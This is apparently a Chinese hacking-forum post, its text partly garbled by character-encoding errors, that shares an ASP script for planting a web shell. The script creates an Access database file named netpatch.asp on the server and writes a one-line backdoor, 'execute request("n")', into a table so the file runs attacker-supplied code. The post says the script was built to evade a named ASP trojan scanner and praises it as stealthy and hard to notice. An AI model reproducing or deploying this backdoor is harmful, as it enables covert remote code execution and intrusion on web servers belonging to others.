本是為了逃LAKER2兄 查ASP木馬程序的  
現(xiàn)在已經(jīng)挑戰(zhàn)成功，已經(jīng)加為檢查對象了。公布出代碼給冰點(diǎn)的朋友使使，希望大家喜歡！  

利用的是ADOX.Catalog組件  

復(fù)制代碼代碼如下:

<%    
'code by netpatch   
dim dbfile,sql    
db="netpatch.asp"   
dbfile=server.MapPath(db)    

set ydb=server.CreateObject("ADOX.Catalog")    
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile    
set ydb=nothing    
if err.number=0 then    
Response.Write dbfile & " 創(chuàng)建成功<br> "    
else    
Response.Write "創(chuàng)建失敗，原因： " & err.description    
Response.End    
end if    

Set Conn = Server.CreateObject("ADODB.Connection")    
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile    

sql="CREATE TABLE fdata([data] Memo)"    
conn.execute(sql)    

Set rs = CreateObject("ADODB.RecordSet")    
rs.Open "FData", conn, 1, 3    
rs.addnew    
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉！一句話后門 execute request(“n”))   
rs.update    

%>  

此腳本主要是利用ADOX.Catalog組件  
新建一個(gè)名稱為netpatch.asp的空數(shù)據(jù)庫文件  
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用！  

優(yōu)點(diǎn)，比較隱蔽，不容易讓人看出這是什么作用的！